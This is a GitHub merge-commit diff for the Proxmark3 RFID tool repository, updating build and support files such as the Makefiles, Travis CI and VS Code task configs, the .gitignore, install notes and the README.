Merge pull request #2 from RfidResearchGroup/master

Update
This commit is contained in:
Bjoern Kerler 2020-04-04 18:22:48 +02:00 committed by GitHub
commit a5972f52ea
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1172 changed files with 233807 additions and 26216 deletions

40
.coverity.conf.sample Normal file
View file

@ -0,0 +1,40 @@
COVLOGIN=myemail@corp.com
COVTOKEN=aAbBcCdDeEfFgGhHiIjJkK
# Toolchain available at https://scan.coverity.com/download
COVBINDIR="/opt/cov-analysis-linux64-2019.03/bin"
# Nickname included in scan description:
NICKNAME=myself
# cov can't read gcov from gcc > 7
HOSTCC=gcc-7
HOSTCXX=g++-7
HOSTLD=g++-7
# Do not change it:
COVDIR=cov-int
# Depending if your kernel > 4.8.x, you might need to activate this to run Coverity executables
# (but latest tools with kernel 5.2 run fine)
#sysctl vsyscall=emulate
export PATH="$PATH:$COVBINDIR"
function pre_build_hook() {
# tmp dir will be /tmp/cov-$username/
# It's the good place if you need to redirect to elsewhere with a symlink
return 0
}
function post_build_hook() {
return 0
}
function pre_submit_hook() {
return 0
}
function post_submit_hook() {
# Clean up build folders?
rm -rf "$COVDIR"
echo "Coverity build cleaned"
return 0
}

12
.github/FUNDING.yml vendored Normal file
View file

@ -0,0 +1,12 @@
# These are supported funding model platforms
github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: iceman1001
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: ["https://www.paypal.me/iceman1001"]

17
.gitignore vendored
View file

@ -3,8 +3,14 @@
.history
.bash_history
.bash_profile
.bash_logout
.bashrc
.inputrc
.profile
*.log
*.eml
*.html
*.o
*.a
*.d
@ -15,12 +21,15 @@
*.dll
*.moc.cpp
*.z
*.gz
*.Td
*.DS_Store
*.exe
*.dsym
version.c
*.json
*.old
*.swp
# new build file for add-ons.
Makefile.platform
@ -30,10 +39,13 @@ Makefile.platform
!client/hardnested/*.bin
!client/hardnested/tables/*.z
client/ui/ui_overlays.h
client/reveng/bmptst
hardnested_stats.txt
proxmark3
proxmark3-flasher
flasher
!flasher/
lua
luac
fpga_compress
@ -61,10 +73,13 @@ client/traces/*
armsrc/TEMP EMV/*
tools/mf_nonce_brute/*
tools/andrew/*
tools/jtag_openocd/openocd_configuration
ppls patches/*
*- Copy.*
client/lualibs/mf_default_keys.lua
client/lualibs/mfc_default_keys.lua
client/lualibs/pm3_cmd.lua
# recompiled
fpga_version_info.c
.proxmark3/*

View file

@ -1,51 +1,70 @@
# Travis-CI Build for RfidResearchGroup/Proxmark3
language: c
#default linux build env is: Ubuntu 14.04 trusty
#default linux build env is: xenial
compiler: gcc
# move some env variables to homebrew env
env:
global:
- HOMEBREW_TRAVIS_BRANCH=$TRAVIS_BRANCH
- HOMEBREW_TRAVIS_COMMIT=$TRAVIS_COMMIT
# Test on Linux and MacOS
matrix:
include:
# - os: osx
# osx_image: xcode7.3 # OS X 10.11
# - os: osx
# osx_image: xcode8.3 # OS X 10.12
# - os: osx
# osx_image: xcode9 # OS X 10.13
- os: osx
osx_image: xcode9.1 # OS X 10.13.1
osx_image: xcode11
env: MAKE_PARAMS='PLATFORM_EXTRAS='
- os: osx
osx_image: xcode11
env: MAKE_PARAMS='PLATFORM_EXTRAS=BTADDON'
- os: linux
dist: trusty
dist: xenial
sudo: required
env: MAKE_PARAMS='PLATFORM_EXTRAS='
- os: linux
dist: xenial
sudo: required
env: MAKE_PARAMS='PLATFORM_EXTRAS=BTADDON'
addons:
apt:
packages:
- gcc-arm-none-eabi
- libnewlib-dev
- libsndfile1-dev
homebrew:
packages:
- readline
- libsndfile
- qt5
- RfidResearchGroup/proxmark3/arm-none-eabi-gcc
taps: RfidResearchGroup/proxmark3
# update trick to fix https://travis-ci.community/t/macos-build-fails-because-of-homebrew-bundle-unknown-command/7296/14
update: true
before_install:
## Install ARM toolchain on Linux.
## add our homebrew tap for MacOS
## Note: all dependencies on MacOS should be resolved by the brew install command
if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
sudo apt-get update -qq;
sudo apt-get install -y gcc-arm-none-eabi;
elif [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
brew update;
brew tap RfidResearchGroup/proxmark3;
# bug?
# homebrew update replaced python2.7 by python3.7 but
# python3 link failed while python@2 still present, so let's do it again:
if [ "$TRAVIS_OS_NAME" == "osx" ]; then
brew link --overwrite python;
fi
install:
if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
brew info proxmark3;
brew options proxmark3;
brew install --HEAD proxmark3;
elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
make all;
if ! arm-none-eabi-gcc -v; then
echo "arm-none-eabi-gcc [ERROR]";
travis_terminate 1;
fi
make clean;
make all V=1 "$MAKE_PARAMS";
before_script:
script:
script:
## start and run a test script
if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
proxmark3 -h ;
elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
./client/proxmark3 -h ;
fi
if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
./pm3test.sh;
elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
./pm3test.sh;
fi

27
.vscode/tasks.json vendored Normal file
View file

@ -0,0 +1,27 @@
{
// See https://go.microsoft.com/fwlink/?LinkId=733558
// for the documentation about the tasks.json format
"version": "2.0.0",
"tasks": [
{
"label": "build",
"type": "shell",
"command": "make clean && make all -j$(nproc --all)",
"problemMatcher": [
"$gcc"
]
},
{
"label": "flash fullimage",
"type": "shell",
"command": "sudo ./pm3-flash-fullimage",
"problemMatcher": []
},
{
"label": "FLASH BOOTROM",
"type": "shell",
"command": "sudo ./pm3-flash-bootrom",
"problemMatcher": []
}
]
}

File diff suppressed because it is too large Load diff

View file

@ -1,131 +1,2 @@
The project compiles on Linux, Mac OS X and Windows (MinGW/MSYS).
it requires:
- gcc >= 4.8
- libpthread
- libreadline
- libusb
- perl
- an ARM cross-compiler to compile the firmware
- libncurses5-dev
and optionally QT for the GUI
To compile, just run "make".
===========
= Windows =
===========
Rather than download and install every one of these packages, a new ProxSpace
environment archive file will be made available for download on the project
page at @Gator96100's repo
Afterwards just clone the iceman repo or download someone elses. Read instructions on @Gator96100 repo page. (https://github.com/Gator96100/ProxSpace/)
Download the ProxSpace environment archive and extract it to C:\
Links
https://github.com/Gator96100/ProxSpace/archive/master.zip
============
= Mac OS X =
============
Installing from HomeBrew tap
---------------------------
This method is recommended and tested on macOS Sierra 10.12.3
1. Install homebrew if you haven't yet already done so: http://brew.sh/
2. Tap proxmark repo:
brew tap iceman1001/proxmark3
3. Install Proxmark3:
Stable release
brew install proxmark3
Latest non-stable from GitHub (use this if previous command fails)
brew install --HEAD proxmark3
For more information go to https://github.com/iceman1001/homebrew-proxmark3
Upgrading HomeBrew tap formula
-----------------------------
*This method is useful for those looking to run bleeding-edge versions of iceman's client. Keep this in mind when attempting to update your HomeBrew tap formula as this procedure could easily cause a build to break if an update is unstable on macOS.*
Tested on macOS Sierra 10.12.6
*Note: This assumes you have already installed iceman's fork from HomeBrew as mentioned above*
1. Force HomeBrew to pull the latest source from github
`brew upgrade --fetch-HEAD iceman1001/proxmark3/proxmark3`
2. Flash the bootloader
* With your Proxmark3 unplugged from your machine, press and hold the button on your Proxmark 3 as you plug it into a USB port. After about 5 seconds let go of the button and run this command
`$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf`
* After the bootloader finishes flashing, unplug your Proxmark3 from your machine
3. Flash fullimage.elf
* Press and hold the button on your Proxmark 3 and keep it held as you plug the Proxmark 3 back into the USB port; continue to hold the button until after this step is complete and the `proxmark3-flasher` command outputs "Have a nice day!"*
`$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf`
4. Enjoy the update
Compilling from source manually (Legacy)
---------------------------
Tested on OSX 10.10 Yosemite
1 - Install Xcode and Xcode Command Line Tools
2 - Install Homebrew and dependencies
brew install readline libusb p7zip libusb-compat wget qt5 pkgconfig
3 - Download DevKitARM for OSX
http://sourceforge.net/projects/devkitpro/files/devkitARM/devkitARM_r44/
Unpack devkitARM_r44-osx.tar.bz2 to proxmark3 directory.
4 - Edit proxmark3/client/Makefile adding path to readline and qt5
LDLIBS = -L/usr/local/opt/readline/lib -L/usr/local/opt/qt5/lib -L/opt/local/lib -L/usr/local/lib ../liblua/liblua.a -lreadline -lpthread -lm
CFLAGS = -std=c99 -I/usr/local/opt/qt5/include -I/usr/local/opt/readline/include -I. -I../include -I../common -I../zlib -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4
If your old brew intallation use /usr/local/Cellar/ path replace /usr/local/opt/readline/lib with your actuall readline and qt5 path. See homebrew manuals.
5 - Set Environment
export DEVKITPRO=$HOME/proxmark3/
export DEVKITARM=$DEVKITPRO/devkitARM
export PATH=${PATH}:${DEVKITARM}/bin
============
= Linux =
============
1 - Download
A precompiled DevKitARM cross compiler tool chain package can be found at
http://sourceforge.net/projects/devkitpro/files/devkitARM
Select the one you need (32bit or 64bit) and unpack to a convinient place, eg
$HOME/proxmark3/. It will create a devkitARM/ subdirectory.
You will also need a general compiling environment on your computer for
the client and the libusb headers. In most distributions you will get all you
need with the lsb-package (Linux Standard Base). In debian/ubuntu you simply
call `aptitude install lsb libusb-dev libreadline-dev libreadline6`.
For the graphical plot view, you might need the qtlibs (debian/ubuntu:
libqt4-dev), too.
2 - Set Environment
export DEVKITPRO=$HOME/proxmark3/
export DEVKITARM=$DEVKITPRO/devkitARM
export PATH=${PATH}:${DEVKITARM}/bin
Refer to doc/md/Installation_Instructions/ for up-to-date intructions for various platforms.

View file

@ -1,13 +1,13 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
@ -57,7 +57,7 @@ patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
@ -256,7 +256,7 @@ make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
@ -278,4 +278,4 @@ YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
END OF TERMS AND CONDITIONS

203
Makefile
View file

@ -1,82 +1,131 @@
# Hide full compilation line:
ifneq ($(V),1)
Q?=@
endif
# To see full command lines, use make V=1
GZIP=gzip
# Windows' echo echos its input verbatim, on Posix there is some
# amount of shell command line parsing going on. echo "" on
# Windows yields literal "", on Linux yields an empty line
ifeq ($(shell echo ""),)
# This is probably a proper system, so we can use uname
DELETE=rm -rf
FLASH_TOOL=client/flasher
platform=$(shell uname)
ifneq (,$(findstring MINGW,$(platform)))
FLASH_PORT=com3
PATHSEP=\\#
else
FLASH_PORT=/dev/ttyACM0
PATHSEP=/
endif
else
# Assume that we are running on native Windows
DELETE=del /q
FLASH_TOOL=client/flasher.exe
platform=Windows
FLASH_PORT=com3
PATHSEP=\\#
endif
include Makefile.defs
-include Makefile.platform
-include .Makefile.options.cache
include common/Makefile.hal
include common_arm/Makefile.hal
all clean: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/%
# preserve relative DESTDIR path for subdir makes
ifneq (,$(DESTDIR))
# realpath needs the directory to exist
$(shell $(MKDIR) $(DESTDIR))
MYDESTDIR:=$(realpath $(DESTDIR))
ifeq (,$(MYDESTDIR))
$(error Can't create $(DESTDIR))
endif
endif
all clean install uninstall: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% fpga_compress/%
INSTALLTOOLS=pm3_eml2lower.sh pm3_eml2upper.sh pm3_mfdread.py pm3_mfd2eml.py pm3_eml2mfd.py findbits.py rfidtest.pl xorcheck.py
INSTALLSIMFW=sim011.bin sim011.sha512.txt
INSTALLSCRIPTS=pm3 pm3-flash pm3-flash-all pm3-flash-bootrom pm3-flash-fullimage
INSTALLSHARES=tools/jtag_openocd traces
INSTALLDOCS=doc/*.md doc/md
install: all common/install
common/install:
$(info [@] Installing common resources to $(MYDESTDIR)$(PREFIX)...)
ifneq (,$(INSTALLSCRIPTS))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)
$(Q)$(CP) $(INSTALLSCRIPTS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)
endif
ifneq (,$(INSTALLSHARES))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
$(Q)$(CP) $(INSTALLSHARES) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
endif
ifneq (,$(INSTALLDOCS))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
$(Q)$(CP) $(INSTALLDOCS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
endif
ifneq (,$(INSTALLTOOLS))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
$(Q)$(CP) $(foreach tool,$(INSTALLTOOLS),tools/$(tool)) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
endif
ifneq (,$(INSTALLSIMFW))
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
$(Q)$(CP) $(foreach fw,$(INSTALLSIMFW),tools/simmodule/$(fw)) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
endif
ifeq ($(platform),Linux)
$(Q)$(MKDIR) $(DESTDIR)$(UDEV_PREFIX)
$(Q)$(CP) driver/77-pm3-usb-device-blacklist.rules $(DESTDIR)$(UDEV_PREFIX)/77-pm3-usb-device-blacklist.rules
endif
uninstall: common/uninstall
common/uninstall:
$(info [@] Uninstalling common resources from $(MYDESTDIR)$(PREFIX)...)
ifneq (,$(INSTALLSCRIPTS))
$(Q)$(RM) $(foreach script,$(INSTALLSCRIPTS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)$(PATHSEP)$(notdir $(script)))
endif
ifneq (,$(INSTALLSHARES))
$(Q)$(RMDIR) $(foreach share,$(INSTALLSHARES),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)$(PATHSEP)$(notdir $(share)))
endif
ifneq (,$(INSTALLDOCS))
$(Q)$(RMDIR) $(foreach doc,$(INSTALLDOCS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)$(PATHSEP)$(notdir $(doc)))
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
endif
ifneq (,$(INSTALLTOOLS))
$(Q)$(RM) $(foreach tool,$(INSTALLTOOLS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)$(PATHSEP)$(notdir $(tool)))
endif
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
ifneq (,$(INSTALLSIMFW))
$(Q)$(RM) $(foreach fw,$(INSTALLSIMFW),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(notdir $(fw)))
endif
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
ifeq ($(platform),Linux)
$(Q)$(RM) $(DESTDIR)$(UDEV_PREFIX)/77-pm3-usb-device-blacklist.rules
endif
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
mfkey/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/mfkey $(patsubst mfkey/%,%,$@)
$(Q)$(MAKE) --no-print-directory -C tools/mfkey $(patsubst mfkey/%,%,$@) DESTDIR=$(MYDESTDIR)
nonce2key/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/nonce2key $(patsubst nonce2key/%,%,$@)
$(Q)$(MAKE) --no-print-directory -C tools/nonce2key $(patsubst nonce2key/%,%,$@) DESTDIR=$(MYDESTDIR)
fpga_compress/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C tools/fpga_compress $(patsubst fpga_compress/%,%,$@) DESTDIR=$(MYDESTDIR)
bootrom/%: FORCE cleanifplatformchanged
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C bootrom $(patsubst bootrom/%,%,$@)
armsrc/%: FORCE cleanifplatformchanged
$(Q)$(MAKE) --no-print-directory -C bootrom $(patsubst bootrom/%,%,$@) DESTDIR=$(MYDESTDIR)
armsrc/%: FORCE cleanifplatformchanged fpga_compress/%
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C armsrc $(patsubst armsrc/%,%,$@)
$(Q)$(MAKE) --no-print-directory -C armsrc $(patsubst armsrc/%,%,$@) DESTDIR=$(MYDESTDIR)
client/%: FORCE
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C client $(patsubst client/%,%,$@)
recovery/%: FORCE cleanifplatformchanged bootrom/% armsrc/%
$(Q)$(MAKE) --no-print-directory -C client $(patsubst client/%,%,$@) DESTDIR=$(MYDESTDIR)
recovery/all: bootrom/all armsrc/all
recovery/install: bootrom/all armsrc/all
recovery/%: FORCE cleanifplatformchanged
$(info [*] MAKE $@)
$(Q)$(MAKE) --no-print-directory -C recovery $(patsubst recovery/%,%,$@)
$(Q)$(MAKE) --no-print-directory -C recovery $(patsubst recovery/%,%,$@) DESTDIR=$(MYDESTDIR)
FORCE: # Dummy target to force remake in the subdirectories, even if files exist (this Makefile doesn't know about the prerequisites)
.PHONY: all clean help _test bootrom flash-bootrom os flash-os flash-all recovery client mfkey nounce2key style checks FORCE udev accessrights cleanifplatformchanged
.PHONY: all clean install uninstall help _test bootrom fullimage recovery client mfkey nonce2key style checks FORCE udev accessrights cleanifplatformchanged
help:
@echo "Multi-OS Makefile"
@echo
@echo "Possible targets:"
@echo "+ all - Make all targets: bootrom, armsrc and OS-specific host tools"
@echo "+ clean - Clean in all targets"
@echo "+ all - Make all targets: bootrom, fullimage and OS-specific host tools"
@echo "+ clean - Clean in all targets"
@echo "+ .../clean - Clean in specified target and its deps, e.g. bootrom/clean"
@echo "+ (un)install - Install/uninstall Proxmark files in the system, default to /usr/local/share,"
@echo " else provide a PREFIX. See Maintainers.md for more options"
@echo
@echo "+ bootrom - Make bootrom"
@echo "+ os - Make armsrc (includes fpga)"
@echo "+ flash-bootrom - Make bootrom and flash it"
@echo "+ flash-os - Make armsrc and flash os image (includes fpga)"
@echo "+ flash-all - Make bootrom and armsrc and flash bootrom and os image"
@echo "+ recovery - Make bootrom and armsrc images for JTAG flashing"
@echo "+ bootrom - Make bootrom"
@echo "+ fullimage - Make armsrc fullimage (includes fpga)"
@echo "+ recovery - Make bootrom and fullimage files for JTAG flashing"
@echo
@echo "+ client - Make only the OS-specific host client"
@echo "+ mfkey - Make tools/mfkey"
@echo "+ nounce2key - Make tools/nounce2key"
@echo "+ client - Make only the OS-specific host client"
@echo "+ mfkey - Make tools/mfkey"
@echo "+ nonce2key - Make tools/nonce2key"
@echo "+ fpga_compress - Make tools/fpga_compress"
@echo
@echo "+ style - Apply some automated source code formatting rules"
@echo "+ checks - Detect various encoding issues in source code"
@echo "+ style - Apply some automated source code formatting rules"
@echo "+ checks - Detect various encoding issues in source code"
@echo
@echo "Possible platforms: try \"make PLATFORM=\" for more info, default is PM3RDV4"
@echo "To activate verbose mode, use make V=1"
@ -85,7 +134,17 @@ client: client/all
bootrom: bootrom/all
os: armsrc/all
# aliases fullimage = armsrc
fullimage: armsrc/all
fullimage/all: armsrc/all
fullimage/clean: armsrc/clean
fullimage/install: armsrc/install
fullimage/uninstall: armsrc/uninstall
recovery: recovery/all
@ -93,17 +152,10 @@ mfkey: mfkey/all
nonce2key: nonce2key/all
flash-bootrom: bootrom/obj/bootrom.elf $(FLASH_TOOL)
$(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$<)
flash-os: armsrc/obj/fullimage.elf $(FLASH_TOOL)
$(FLASH_TOOL) $(FLASH_PORT) $(subst /,$(PATHSEP),$<)
flash-all: bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf $(FLASH_TOOL)
$(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$(filter-out $(FLASH_TOOL),$^))
fpga_compress: fpga_compress/all
newtarbin:
$(DELETE) proxmark3-$(platform)-bin.tar proxmark3-$(platform)-bin.tar.gz
$(RM) proxmark3-$(platform)-bin.tar proxmark3-$(platform)-bin.tar.gz
@touch proxmark3-$(platform)-bin.tar
tarbin: newtarbin client/tarbin armsrc/tarbin bootrom/tarbin
@ -145,21 +197,36 @@ style:
# Make sure astyle is installed
@which astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 )
# Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile
find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" \) \
find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \
-exec perl -pi -e 's/[ \t]+$$//' {} \; \
-exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \
-exec sh -c "echo >> {}" \;
# Apply astyle on *.c, *.h, *.cpp
find . \( -name "*.[ch]" -or -name "*.cpp" \) -exec astyle --formatted --mode=c --suffix=none \
find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \
--indent=spaces=4 --indent-switches \
--keep-one-line-blocks --max-instatement-indent=60 \
--style=google --pad-oper --unpad-paren --pad-header \
--align-pointer=name {} \;
# Detecting weird codepages.
# Detecting weird codepages and tabs.
checks:
find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" \) \
# Make sure recode is installed
@which recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 )
@echo "Files with suspicious chars:"
@find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \
-exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \;
@echo "Files with tabs:"
# to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq'
ifeq ($(platform),Darwin)
@find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
-exec egrep -l '\t' {} \;
else
@find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
-exec grep -lP '\t' {} \;
endif
# @echo "Files with printf \\\\t:"
# @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
# -exec grep -lP '\\t' {} \;
# Dummy target to test for GNU make availability
_test:

46
Makefile.defs Normal file
View file

@ -0,0 +1,46 @@
# Hide full compilation line:
ifneq ($(V),1)
Q?=@
endif
# To see full command lines, use make V=1
# been here
DEFSBEENHERE = true
CP = cp -a
GZIP = gzip
MKDIR = mkdir -p
RM = rm -f
RMDIR = rm -rf
# rmdir only if dir is empty, tolerate failure
RMDIR_SOFT = -rmdir
MV = mv
TOUCH = touch
FALSE = false
TAR = tar
TARFLAGS ?= -v --ignore-failed-read -r
TARFLAGS += -C .. -f
CROSS ?= arm-none-eabi-
CC = gcc
CXX = g++
LD = g++
PATHSEP=/
PREFIX ?= /usr/local
UDEV_PREFIX ?= /etc/udev/rules.d
INSTALLBINRELPATH ?= bin
INSTALLSHARERELPATH ?= share/proxmark3
INSTALLFWRELPATH ?= share/proxmark3/firmware
INSTALLTOOLSRELPATH ?= share/proxmark3/tools
INSTALLDOCSRELPATH ?= share/doc/proxmark3
platform = $(shell uname)
DETECTED_OS=$(platform)
ifeq ($(platform),Darwin)
AR= /usr/bin/ar rcs
RANLIB= /usr/bin/ranlib
else
AR= ar rcs
RANLIB= ranlib
endif

79
Makefile.host Normal file
View file

@ -0,0 +1,79 @@
# This Makefile might have been called from various subdirs, trying to find our Makefile.defs
ifeq ($(DEFSBEENHERE),)
-include Makefile.defs
endif
ifeq ($(DEFSBEENHERE),)
-include ../Makefile.defs
endif
ifeq ($(DEFSBEENHERE),)
-include ../../Makefile.defs
endif
ifeq ($(DEFSBEENHERE),)
-include ../../../Makefile.defs
endif
ifeq ($(DEFSBEENHERE),)
$(error Can't find Makefile.defs)
endif
CFLAGS ?= -Wall -Werror -O3
CFLAGS += $(MYDEFS) $(MYCFLAGS) $(MYINCLUDES)
vpath %.c $(MYSRCPATHS)
# Flags to generate temporary dependency files
DEPFLAGS = -MT $@ -MMD -MP -MF $(OBJDIR)/$*.Td
# make temporary to final dependency files after successful compilation
POSTCOMPILE = $(MV) -f $(OBJDIR)/$*.Td $(OBJDIR)/$*.d && $(TOUCH) $@
BINDIR := .
OBJDIR := obj
MYOBJS = $(MYSRCS:%.c=$(OBJDIR)/%.o)
CLEAN = $(foreach bin,$(MYLIBS) $(BINS) $(LIB_A),$(BINDIR)/$(bin))
all: $(foreach bin,$(MYLIBS) $(BINS) $(LIB_A),$(BINDIR)/$(bin))
clean:
$(Q)$(RM) $(CLEAN)
$(Q)$(RMDIR) $(OBJDIR)
install: all
ifneq (,$(INSTALLTOOLS))
$(info [@] Installing $(BINS) to $(DESTDIR)$(PREFIX)...)
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
$(Q)$(CP) $(INSTALLTOOLS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
endif
@true
uninstall:
ifneq (,$(INSTALLTOOLS))
$(info [@] Uninstalling $(BINS) from $(DESTDIR)$(PREFIX)...)
$(Q)$(RM) $(foreach tool,$(INSTALLTOOLS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)$(PATHSEP)$(notdir $(tool)))
endif
@true
.PHONY: all clean install uninstall
$(BINDIR)/$(LIB_A): $(MYOBJS)
$(info [=] AR $(notdir $@))
$(Q)$(AR) $@ $(MYOBJS)
$(Q)$(RANLIB) $@
$(BINDIR)/% : $(OBJDIR)/%.o $(MYOBJS) $(MYLIBS)
$(info [=] LD $(notdir $@))
$(Q)$(LD) $(LDFLAGS) $(MYOBJS) $< -o $@ $(MYLIBS)
$(OBJDIR)/%.o : %.c | $(OBJDIR)
$(info [-] CC $<)
$(Q)$(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $<
$(Q)$(POSTCOMPILE)
$(OBJDIR):
$(Q)$(MKDIR) $(OBJDIR)
DEPENDENCY_FILES = $(MYOBJS:%.o=%.d) $(BINS:%=$(OBJDIR)/%.d)
$(DEPENDENCY_FILES): ;
.PRECIOUS: $(DEPENDENCY_FILES)
-include $(DEPENDENCY_FILES)

View file

@ -1,4 +1,7 @@
# If you want to use it, copy this file as Makefile.platform and adjust it to your needs
# Run 'make PLATFORM=' to get an exhaustive list of possible parameters for this file.
PLATFORM=PM3RDV4
# If you want more than one PLATFORM_EXTRAS option, separate them by spaces:
#PLATFORM_EXTRAS=BTADDON
#STANDALONE=LF_SAMYRUN

View file

@ -1,26 +1,37 @@
# Proxmark3 RDV4.0 Dedicated Github
# RRG / Iceman repo - Proxmark3
This repo is based on iceman fork for Proxmark3. It is dedicated to bringing the most out of the new features for Proxmark3 RDV4.0 new hardware and design.
